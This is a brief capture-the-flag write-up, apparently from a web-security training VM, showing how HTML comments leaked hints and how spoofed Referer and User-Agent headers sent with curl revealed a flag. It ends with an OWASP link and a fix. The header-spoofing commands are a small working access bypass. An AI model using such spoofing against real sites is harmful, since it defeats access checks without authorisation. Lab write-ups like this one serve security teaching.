## Exploit

1. Found a comment saying `You must come from : "https://www.nsa.gov/` at `http://10.0.2.15/?page=b7e44c7a40c5f80139f0a50f3650fb2bd8d00b0d24667c4c2ca32c88e13b758f`
1. Since one cannot edit the **Referer** header in Firefox, I used `curl --header "Referer: https://www.nsa.gov" "http://10.0.2.15/?page=b7e44c7a40c5f80139f0a50f3650fb2bd8d00b0d24667c4c2ca32c88e13b758f"`
1. Found another comment in the returned page: `Let's use this browser : "ft_bornToSec". It will help you a lot.`
1. Added a `User-Agent` header `ft_bornToSec` and found the flag. Complete command: `curl --header "User-Agent: ft_bornToSec" --header "Referer: https://www.nsa.gov/" "http://10.0.2.15/index.php?page=b7e44c7a40c5f80139f0a50f3650fb2bd8d00b0d24667c4c2ca32c88e13b758f" | grep "The flag"`

## Fix

[https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/01-Information_Gathering/05-Review_Web_Page_Content_for_Information_Leakage]()

Don't put sensitive information in HTML code.